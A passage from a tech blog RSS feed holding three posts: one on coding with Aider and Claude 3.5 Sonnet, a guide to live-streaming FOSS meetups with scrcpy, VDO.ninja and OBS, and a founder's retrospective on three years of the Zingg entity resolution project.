I find the Aider + Claude 3.5 combo works really well when you have a narrow-scoped, well-defined task. For example, this is the prompt I used on a codebase I was working on:
Theme preference is not preserved when reloading pages or navigating to new pages. We should store this setting in localStorage. Please implement using standard best practices.

Under the hood, Aider uses tree-sitter to improve code generation and provide rich context about your codebase. Tree-sitter parses your code into an Abstract Syntax Tree (AST), which helps Aider understand the structure and relationships in your code. Unlike simpler tools that might just grep through your codebase, tree-sitter understands the actual syntax of your programming language.
It can identify function definitions, class declarations, variable scopes, and their relationships
It extracts full function signatures and type information
It builds a dependency graph showing how different parts of your code relate to each other
It helps rank the importance of different code sections based on how often they’re referenced
This means when you’re working on a task, Aider isn’t just blindly sending your entire codebase to the LLM. Instead, it creates an optimized “repository map” that fits within your token budget (default is 1k tokens, adjustable via --map-tokens). This map focuses on the most relevant pieces of your code, making sure the LLM understands the context without wasting tokens.
Aider’s approach to AI pair programming feels natural and productive. Here are some example prompts where it helped me build stuff in less than a minute:
Modify fetch method in store/store.go to filter out expired entries
Write a k6 load test script to benchmark the POST /submit endpoint and simulate real-world traffic patterns
Create a Makefile, Dockerfile, goreleaser.yml for my Go binary. Target platforms: arm64 and amd64

I prefer to invoke aider with a few extra flags:
aider --no-auto-commits --cache-prompts --cache-keepalive-pings 12 --no-suggest-shell-commands
Make sure to go through the Tips page to effectively try out Aider on your existing projects.
Fin!]]></description>
            <content:encoded><![CDATA[<p>Just yesterday, GitHub <a rel="external" href="https://github.blog/news-insights/product-news/bringing-developer-choice-to-copilot/">announced</a> integrating Claude 3.5 Sonnet with Copilot. Interesting times ahead. In my experience, Claude has been remarkably better than the GPT-4 family of models for programming tasks. I’ve tried a bunch of tools like Cursor, Continue.dev but finally settled with <a rel="external" href="https://aider.chat/">Aider</a> for most of my tasks. In this post, I want to write about my workflow of using Aider when working on small coding tasks.</p>
<p>Aider is an open source Python CLI which supports multiple models, including Claude 3.5 Sonnet. Aider describes itself as “AI pair programming in your terminal”. The tool integrates <code>git</code> quite well in its workflow so it can edit files, create new files, and track all changes via git. In case you want to revert, simply reverting the commit or using the <code>/undo</code> shortcut would do the same.</p>
<p>The tool has multiple modes that serve different purposes:</p>
<ul>
<li><code>/ask</code>: Use it when you simply want to chat with the model about the codebase or explain some pieces of it. This mode won’t touch your files. It’s great for understanding existing code or getting explanations.</li>
<li><code>/architect</code>: Use it to discuss a broad overall idea. The model will propose some changes to your files. You can further chat and tune it to your preferences.</li>
<li><code>/code</code>: This will directly edit your files and commit them.</li>
</ul>
<p>My typical workflow involves running Aider in a terminal while keeping VSCode open for manual code review. I often use the <code>--no-auto-commits</code> flag to view the diffs before committing. Despite advances in LLM technology, I believe they haven’t yet reached the stage where they can fully understand your team’s coding style guides, and I prefer not to have a certain style forced upon me. Manually tweaking portions of AI-generated functions still proves helpful and saves considerable time.</p>
<p>To begin, <code>aider --sonnet</code> would open the interactive window where you can begin writing prompts.</p>
<p><img src="https://mrkaran.dev/images/aider-4.png" alt="image" /></p>
<p>To add context, you need to add files using commands like <code>/add main.py</code>. What makes Aider powerful is its control over the LLM context - you can <code>/add</code> or <code>/drop</code> source code, or even <code>/reset</code> to drop all files and start with a fresh context. This granular control helps manage the context window effectively.</p>
<p>A really cool thing about it is that it gives an approximate idea of the number of tokens (cost) associated with each prompt. I find it useful to remove unnecessary files from the context window, which not only helps in getting sharper, more accurate responses but also helps with the costs. There’s a nice <code>/tokens</code> command which will show the cost of sending each file added in context with the prompt.</p>
<p><img src="https://mrkaran.dev/images/aider-3.png" alt="image" /></p>
<p>I find the Aider + Claude 3.5 combo works really well when you have a narrow-scoped, well-defined task. For example, this is the prompt I used on a codebase I was working on:</p>
<blockquote>
<p>Theme preference is not preserved when reloading pages or navigating to new pages. We should store this setting in localStorage. Please implement using standard best practices.</p>
</blockquote>
<p><img src="https://mrkaran.dev/images/aider-1.png" alt="image" /></p>
<p>Under the hood, Aider uses <a rel="external" href="https://aider.chat/2023/10/22/repomap.html">tree-sitter</a> to improve code generation and provide rich context about your codebase. Tree-sitter parses your code into an Abstract Syntax Tree (AST), which helps Aider understand the structure and relationships in your code. Unlike simpler tools that might just grep through your codebase, tree-sitter understands the actual syntax of your programming language.</p>
<ul>
<li>It can identify function definitions, class declarations, variable scopes, and their relationships</li>
<li>It extracts full function signatures and type information</li>
<li>It builds a dependency graph showing how different parts of your code relate to each other</li>
<li>It helps rank the importance of different code sections based on how often they’re referenced</li>
</ul>
<p>This means when you’re working on a task, Aider isn’t just blindly sending your entire codebase to the LLM. Instead, it creates an optimized “repository map” that fits within your token budget (default is 1k tokens, adjustable via <code>--map-tokens</code>). This map focuses on the most relevant pieces of your code, making sure the LLM understands the context without wasting tokens.</p>
<p>Aider’s approach to AI pair programming feels natural and productive. Here are some example prompts where it helped me build stuff in less than a minute:</p>
<blockquote>
<p>Modify fetch method in store/store.go to filter out expired entries</p>
</blockquote>
<blockquote>
<p>Write a k6 load test script to benchmark the <code>POST /submit</code> endpoint and simulate real-world traffic patterns</p>
</blockquote>
<blockquote>
<p>Create a Makefile, Dockerfile, goreleaser.yml for my Go binary. Target platforms: arm64 and amd64</p>
</blockquote>
<p><img src="https://mrkaran.dev/images/aider-2.png" alt="image" /></p>
<p>I prefer to invoke <code>aider</code> with a few extra flags:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aider</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-no-auto-commits</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-cache-prompts</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-cache-keepalive-pings</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 12</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-no-suggest-shell-commands</span></span></code></pre>
<p>Make sure to go through the <a rel="external" href="https://aider.chat/docs/usage/tips.html">Tips</a> page to effectively try out Aider on your existing projects.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Streaming our FOSS Meetups using just freesoftware!]]></title>
            <link>https://aryak.me/blog/08-fossmeetup-livestream.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/08-fossmeetup-livestream.html</guid>
            <pubDate>Thu, 17 Oct 2024 12:39:45 GMT</pubDate>
            <description><![CDATA[I volunteer for FOSS United
Mumbai, and we organize meetups related to FOSS every month.
We have often done some hacky jugaad to stream our meetups, but due
to their last minute nature and lack of proper resources, they have
often been low quality or failed entirely.
With the on-ground experience I have gained as the live streaming
lead at IndiaFOSS
2024 and 2023, I wanted to
put these ideas into a blog-post format, so this could help out the other chapters of FOSS
United, and potentially non-FOSS United events too!
My guide is primarily divided into four parts:
Scrcpy, which deals with getting the video of the meetup by
(ab)using the camera of your phone
VDO.ninja, which retrieves a high quality, low-latency stream of the
speaker’s screen in a user-friendly manner
OBS, which combines the outputs of both Scrcpy and VDO.ninja
together with a nice template, to send to the streaming server (OSP, or
perhaps YouTube)
OSP (FOSS United specific), which is the web UI which we stream to,
and use to make clips out of the live stream
A large part of the guide assumes you use linux, but it should work
with MacOS. PS: if you are hosting a FOSS Meetup, streaming from a
Mac/Windows Box doesn’t make much sense either way :-)
Scrcpy Setup
Requirements:
Laptop with Linux/MacOS (only tested with linux though)
Scrcpy 2.x
Android 12+ phone
On the phone:
Enable Developer Options by tapping Build Number 7 times in the
Software Information section of About Phone in the Settings app. 
Go to the newly enabled developer options menu, allow USB Debugging.

Connect phone to the laptop via USB, and authorize the Laptop

If there is no option asking you to authorize, there should be a
silent notification in your notif tray regarding USB preferences. Click
that and select ADB (if not available, chose file transfer - that should
be an equivalent option) 
It might also be that the cable is old/damaged, and does not support
data transfer. If previous option didn’t yield any results, try using a
different cable


On the laptop:
Install ADB
Install Scrcpy (Linux
| MacOS
| Windows)
Run this command:
/usr/local/bin/scrcpy --video-source=camera --camera-id=0 --audio-source=mic --orientation=90

Sometimes the ideal resolution and framerate will not be the perfect
16:9 one that is required. In that case, add the following argument:
--camera-size=1920x1080 --camera-fps=60
If you want to add any custom settings, consult this other
blogpost of mine or the
scrcpy docs
If you want a landscape camera output, remove the –orientation
flag
Setting the camera ID to 0 should use the back camera by default,
but if front camera needs to be used, set the ID to 1

This should open a window with a full-sized preview of the camera:

Screensy / Screenshare Setup
I would recommend you use this instead of VDO.ninja, ONLY IF BOTH
DEVICES ARE ON SAME NETWORK/WIFI.
The Setup
On the speaker’s laptop, open https://screensy.marijn.it. Start
screen sharing and note down the URL (making sure that the text that
follows the # is included)
VDO.Ninja / Screenshare Setup
NOTE: YOU ARE BETTER OFF USING SCREENSY INSTEAD - UNLESS YOU CANNOT
GET BOTH LAPTOPS ON THE SAME NETWORK.
Requirements:
A browser which supports screenshare on the speaker’s PC, any
browser on the streaming PC
The Setup:
On streaming PC, open vdo.ninja, and create a room. Give a valid
room name, and set the option select the “The guests can see the
director, but not other guests’ videos” option, and then enter the
control centre 
From the control centre, copy the link to invite a guest, and ask
the next speaker to open it on his laptop. 
On the speaker’s laptop, select screenshare with room, and then in
the settings cogweel, make it use highest quality. 
Back on the streaming PC in the control centre, press highlight on
the newly appeared preview, and then copy link of “capture a group
scene”. Keep the link safe, its needed in the next OBS setup 
Open
Streaming Platform Setup (specific to FOSS United)
On https://stream.fossunited.org, each city chapter/foss club can
request an account for streaming and uploading their talks. Login to the
account that is provided to you, navigate to My Channels and create a
new channel.
Add the specific details like default title, description, profile
picture etc., and then copy the auto-generated stream key.
If you want to stream simultaneously to youtube, you can add a new
RTMP Restream Destination in this format:
rtmp://a.rtmp.youtube.com/live2/<STREAM KEY>, and
enable the new destination. By doing this, all new streams will be
simultaneously streamed to YouTube as well. 
Making a clip for each talk
After the live stream has ended, you might want to separate the
stream into smaller chunks, with a separate video for each of the talks.
This can be done using the clips feature of OSP.
Once the stream ends, the stream will be converted into a recording
and uploaded on to the channel from where it was being streamed.
Open the video, and in it the cogweel, from where you can select the
create clip option. Using the slider, move to the desired start and end
point, give it a valid description and title, and then create the clip.
A video is attached for reference:
Video
OBS Setup
Requirements:
OBS Installation, with the default browser plugin enabled (the
plugin is not enabled on debian as of writing FYI, so use the flatpak
version if on Debian)


An X11 environment (if under wayland, run
env -u WAYLAND_DISPLAY obs


Run setup wizard, optimize for streaming, and use 1920x1080 as
the base resolution. For stream key, enter the one from your service
provider (if you are using OSP, consult the next section)


Disable MIC/AUX, and keep Desktop Audio enabled


In OBS, add a window source (Labelled XComposite Window Capture
on linux) for scrcpy


In OBS, add a browser source, and make the url point towards the
screensy link that you copied initially. If you are using VDO.ninja
instead, the url will be the one from the “capture group scene” from the
VDO.ninja setup.


At the end, it should look something like this: 


Start streaming!]]></description>
            <content:encoded><![CDATA[
<p>I volunteer for <a href="https://fossunited.org/c/mumbai">FOSS United
Mumbai</a>, and we organize meetups related to FOSS every month.</p>
<p>We have often done some hacky jugaad to stream our meetups, but due
to their last minute nature and lack of proper resources, they have
often been low quality or failed entirely.</p>
<p>With the on-ground experience I have gained as the live streaming
lead at <a href="https://fossunited.org/indiafoss/2024">IndiaFOSS
2024</a> and <a href="https://indiafoss.net/2023">2023</a>, I wanted to
put these ideas into a blog-post format, so this could help out the <a
href="https://fossunited.org/city-communities">other chapters of FOSS
United</a>, and potentially non-FOSS United events too!</p>
<p>My guide is primarily divided into four parts:</p>
<ul>
<li>Scrcpy, which deals with getting the video of the meetup by
(ab)using the camera of your phone</li>
<li>VDO.ninja, which retrieves a high quality, low-latency stream of the
speaker’s screen in a user-friendly manner</li>
<li>OBS, which combines the outputs of both Scrcpy and VDO.ninja
together with a nice template, to send to the streaming server (OSP, or
perhaps YouTube)</li>
<li>OSP (FOSS United specific), which is the web UI which we stream to,
and use to make clips out of the live stream</li>
</ul>
<p>A large part of the guide assumes you use linux, but it should work
with MacOS. PS: if you are hosting a FOSS Meetup, streaming from a
Mac/Windows Box doesn’t make much sense either way :-)</p>
<h2 id="scrcpy-setup">Scrcpy Setup</h2>
<p>Requirements:</p>
<ul>
<li>Laptop with Linux/MacOS (only tested with linux though)</li>
<li>Scrcpy 2.x</li>
<li>Android 12+ phone</li>
</ul>
<p>On the phone:</p>
<ul>
<li>Enable Developer Options by tapping Build Number 7 times in the
Software Information section of About Phone in the Settings app. <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-01-56.jpg" /></li>
<li>Go to the newly enabled developer options menu, allow USB Debugging.
<img src="https://aryak.me/static/blog/photo_2024-10-17_23-01-59.jpg" /></li>
<li>Connect phone to the laptop via USB, and authorize the Laptop
<ul>
<li>If there is no option asking you to authorize, there should be a
silent notification in your notif tray regarding USB preferences. Click
that and select ADB (if not available, chose file transfer - that should
be an equivalent option) <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-01-52.jpg" /></li>
<li>It might also be that the cable is old/damaged, and does not support
data transfer. If previous option didn’t yield any results, try using a
different cable</li>
</ul></li>
</ul>
<p>On the laptop:</p>
<ul>
<li>Install ADB</li>
<li>Install Scrcpy (<a
href="https://github.com/Genymobile/scrcpy/blob/master/doc/linux.md">Linux</a>
| <a
href="https://github.com/Genymobile/scrcpy/blob/master/doc/macos.md">MacOS</a>
| <a
href="https://github.com/Genymobile/scrcpy/blob/master/doc/windows.md">Windows</a>)</li>
<li>Run this command:
<code>/usr/local/bin/scrcpy --video-source=camera --camera-id=0 --audio-source=mic --orientation=90</code>
<ul>
<li>Sometimes the ideal resolution and framerate will not be the perfect
16:9 one that is required. In that case, add the following argument:
<code>--camera-size=1920x1080 --camera-fps=60</code></li>
<li>If you want to add any custom settings, consult <a
href="https://aryak.me/blog/06-phone-webcam-scrcpy.html">this other
blogpost of mine</a> or <a
href="https://github.com/Genymobile/scrcpy/blob/master/doc/camera.md">the
scrcpy docs</a></li>
<li>If you want a landscape camera output, remove the –orientation
flag</li>
<li>Setting the camera ID to 0 should use the back camera by default,
but if front camera needs to be used, set the ID to 1</li>
</ul></li>
<li>This should open a window with a full-sized preview of the camera:
<img src="https://aryak.me/static/blog/photo_2024-10-17_23-02-02.jpg" /></li>
</ul>
<h2 id="screensy-screenshare-setup">Screensy / Screenshare Setup</h2>
<p>I would recommend you use this instead of VDO.ninja, ONLY IF BOTH
DEVICES ARE ON SAME NETWORK/WIFI.</p>
<p>The Setup</p>
<ul>
<li>On the speaker’s laptop, open https://screensy.marijn.it. Start
screen sharing and note down the URL (making sure that the text that
follows the <code>#</code> is included)</li>
</ul>
<h2 id="vdo.ninja-screenshare-setup">VDO.Ninja / Screenshare Setup</h2>
<p>NOTE: YOU ARE BETTER OFF USING SCREENSY INSTEAD - UNLESS YOU CANNOT
GET BOTH LAPTOPS ON THE SAME NETWORK.</p>
<p>Requirements:</p>
<ul>
<li>A browser which supports screenshare on the speaker’s PC, any
browser on the streaming PC</li>
</ul>
<p>The Setup:</p>
<ul>
<li>On streaming PC, open vdo.ninja, and create a room. Give a valid
room name, and set the option select the “The guests can see the
director, but not other guests’ videos” option, and then enter the
control centre <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-02-05.jpg" /></li>
<li>From the control centre, copy the link to invite a guest, and ask
the next speaker to open it on his laptop. <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-02-11.jpg" /></li>
<li>On the speaker’s laptop, select screenshare with room, and then in
the settings cogweel, make it use highest quality. <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-02-13.jpg" /></li>
<li>Back on the streaming PC in the control centre, press highlight on
the newly appeared preview, and then copy link of “capture a group
scene”. Keep the link safe, its needed in the next OBS setup <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-02-16.jpg" /></li>
</ul>
<h2 id="open-streaming-platform-setup-specific-to-foss-united">Open
Streaming Platform Setup (specific to FOSS United)</h2>
<p>On https://stream.fossunited.org, each city chapter/foss club can
request an account for streaming and uploading their talks. Login to the
account that is provided to you, navigate to My Channels and create a
new channel.</p>
<p>Add the specific details like default title, description, profile
picture etc., and then copy the auto-generated stream key.</p>
<p>If you want to stream simultaneously to youtube, you can add a new
RTMP Restream Destination in this format:
<code>rtmp://a.rtmp.youtube.com/live2/&lt;STREAM KEY&gt;</code>, and
enable the new destination. By doing this, all new streams will be
simultaneously streamed to YouTube as well. <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-26-05.jpg" /></p>
<h3 id="making-a-clip-for-each-talk">Making a clip for each talk</h3>
<p>After the live stream has ended, you might want to separate the
stream into smaller chunks, with a separate video for each of the talks.
This can be done using the clips feature of OSP.</p>
<p>Once the stream ends, the stream will be converted into a recording
and uploaded on to the channel from where it was being streamed.</p>
<p>Open the video, and in it the cogweel, from where you can select the
create clip option. Using the slider, move to the desired start and end
point, give it a valid description and title, and then create the clip.
A video is attached for reference:</p>
<p><video src="https://aryak.me/static/blog/osp-clip.mp4" controls=""><a
href="https://aryak.me/static/blog/osp-clip.mp4">Video</a></video></p>
<h2 id="obs-setup">OBS Setup</h2>
<p>Requirements:</p>
<ul>
<li><p>OBS Installation, with the default browser plugin enabled (the
plugin is not enabled on debian as of writing FYI, so use the flatpak
version if on Debian)</p></li>
<li><p>An X11 environment (if under wayland, run
<code>env -u WAYLAND_DISPLAY obs</code></p></li>
<li><p>Run setup wizard, optimize for streaming, and use 1920x1080 as
the base resolution. For stream key, enter the one from your service
provider (if you are using OSP, consult the next section)</p></li>
<li><p>Disable MIC/AUX, and keep Desktop Audio enabled</p></li>
<li><p>In OBS, add a window source (Labelled XComposite Window Capture
on linux) for scrcpy</p></li>
<li><p>In OBS, add a browser source, and make the url point towards the
screensy link that you copied initially. If you are using VDO.ninja
instead, the url will be the one from the “capture group scene” from the
VDO.ninja setup.</p></li>
<li><p>At the end, it should look something like this: <img
src="https://aryak.me/static/blog/photo_2024-10-17_23-02-18.jpg" /></p></li>
<li><p>Start streaming!</p></li>
</ul>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2024/10/17/4</category>
        </item>
        <item>
            <title><![CDATA[Celebrating 3 Years of Open Source Entity Resolution!]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/celebrating-3-years-of-open-source</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/celebrating-3-years-of-open-source</guid>
            <pubDate>Wed, 02 Oct 2024 06:05:00 GMT</pubDate>
            <description><![CDATA[Miles travelled, and miles to go...]]></description>
            <content:encoded><![CDATA[<div class="pullquote"><p><strong>&#8220;The Data Weaver&#8217;s Tale&#8221;</strong><br>In fields of data, vast and wide,<br>Where records dance and entities hide,<br>A weaver works with threads so fine,<br>To link and match and intertwine.</p><p>Deduplication clears the way,<br>As fuzzy matching comes to play.<br>Record linkage, strong and true,<br>Brings scattered pieces into view.</p><p>Entity linking, precise and keen,<br>Connects the dots once unforeseen.<br>The knowledge graph, a tapestry,<br>Reveals hidden identity.</p><p>With AI&#8217;s wisdom as our guide,<br>We stitch and resolve, side by side.<br>In this grand quest for truth and light,<br>Entity resolution shines so bright.</p></div><p>When I open sourced Zingg three years ago, Entity Resolution felt like an esoteric problem. While I had personally experienced the issue of unharmonized records, it was hard to say if I was an outlier or if this was a much more common problem. Sure, master data management systems have existed since the beginning of the data industry. Or even before it. Customer data platforms have also had their share of the spotlight. Yet, for all of the modern data stack maps out there, identity and entity resolution have been largely omitted. </p><p>For someone who had burnt their life&#8217;s savings in working on Zingg, I was treading unknown territory. The <a href="https://www.learningfromdata.zingg.ai/p/of-i-and-we">encouragement I had received from people</a><a href="https://www.learningfromdata.zingg.ai/p/sometimes-the-best-things-in-life"> who understood</a> the <a href="https://www.learningfromdata.zingg.ai/p/sometimes-the-best-things-in-life">problem</a> truly meant a lot to me. Yet, the way forward was unclear. Starting and building a company is terribly hard. It was tempting to think of a cushioned job which would save me from a lot of hassles, guarantee a handsome package and possibly some <em>other</em> interesting problems. </p><p>However, I could not bring myself to do anything else - entity resolution felt like a problem I could not forget. If I could help a <em>few</em> practitioners like myself who had struggled with entity resolution, I would be satisfied. If I think back, it is likely that there was a builder bias in my thinking. Working on Zingg is fun! The challenges we see are not common place. They force you to think, <a href="https://www.learningfromdata.zingg.ai/p/zingg-incremental-flow">they push you to the drawing board and scratch your head again and again</a> in the quest to find a solution. It is wonderful to apply tools and techniques learnt over multiple years, yet see oneself falling short and researching and learning more and more. Working on Zingg feels like an endless maze of <a href="https://www.learningfromdata.zingg.ai/p/performance-tuning-snowpark-for-identity">hard computational puzzles</a> thrown our way. As a professional, one could not ask for more!   </p><p>Also, somewhere deep down, I was not too worried about the selling bit. I was convinced that it was worth a try. One big reason was that the existing tooling in entity resolution is outdated. MDM and CDP tools aim to do too much, and the core problem that they try to solve - entity resolution, is something Zingg <a href="https://www.learningfromdata.zingg.ai/p/deterministic-matching-vs-probabilistic">specializes</a> in. Zingg&#8217;s identity resolution capabilities make it a drop in replacement for an MDM system and a key component in composable CDP stacks. Zingg can work with large datasets and <a href="https://www.learningfromdata.zingg.ai/p/hello-zingg-id">resolve</a> different kinds of entities with ease. We are privacy first, with no data ever leaving customer premises. Our warehouse/lakehouse native approach enables an elegant data architecture, letting people leverage their existing investment into data tooling and running Zingg AI as part of their data pipeline. Without any specialized AI skills, one can straight off use <a href="https://www.learningfromdata.zingg.ai/p/hello-zingg-id">Zingg results</a> in marketing attribution, risk or personalisation models. Or pipe Zingg resolved entities to the RAG of an LLM model or to a knowledge graph. </p><p>I have surely made my share of mistakes in life, but turns out I was right on betting wholeheartedly on Zingg. Adoption by open source users has been motivating. Due to on premise and multicloud environments along with the proliferation of SAAS tools, there is a growing need for trusted and enriched entity data. The race to deploy large language models, enterprise knowledge graphs and RAG based systems is pushing the demand for entity resolution even more. An enterprise data leader recently told me that Customer 360 is among the top 3 problems their team worries about. We are repeatedly hearing single customer view, SCV, Customer 360, C360 and variants in sales conversations. A very healthy and growing revenue from Zingg Enterprise is giving us the lever to go deeper into the problem, innovate even further and build simple yet delightful experiences for end users. </p><p>We are onto something special, and it is an experience worth having! </p><p>This would not have been possible without some really solid support and I am extremely grateful for that. </p><p>A big thank you to each of our users for trying Zingg, mentioning us to friends and coworkers and for joining our Slack. We hope that Zingg will continue to help you in your data journey. Special thanks to our investors and paying customers of Zingg Enterprise. We could not have reached here without you. Thank you for your early confidence and bet on us. We have built a lot of valuable features like <a href="https://www.learningfromdata.zingg.ai/p/hello-zingg-id?r=1adrn&amp;utm_campaign=post&amp;utm_medium=web">ZINGG_ID</a>, <a href="https://www.learningfromdata.zingg.ai/p/zingg-incremental-flow">incremental flows</a>, and <a href="https://www.learningfromdata.zingg.ai/p/deterministic-matching-vs-probabilistic?r=1adrn&amp;utm_campaign=post&amp;utm_medium=web">determinstic matching</a> based on customer asks and our understanding of customer needs. The product is so much richer due to your feedback and feature asks. </p><p>A lot of ground has been covered in the last 3 years, and a lot more remains. In the coming months, we plan to grow the team to build more cool stuff we have been aching to, and continue to dabble in interesting problems at the intersection of technology and company building. Wish us luck!</p><p>Thank you for reading, and if this story resonates with you, do say hello!</p><p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw"><img src="https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" width="2304" height="1536" data-attrs="{&quot;src&quot;:&quot;https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1536,&quot;width&quot;:2304,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;three cupcakes with toppings&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="three cupcakes with toppings" title="three cupcakes with toppings" srcset="https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo by <a href="true">Jennie Brown</a> on <a href="https://unsplash.com">Unsplash</a></figcaption></figure></div><p></p><p></p><p> </p><p></p>]]></content:encoded>
            <author>Sonal Goyal</author>
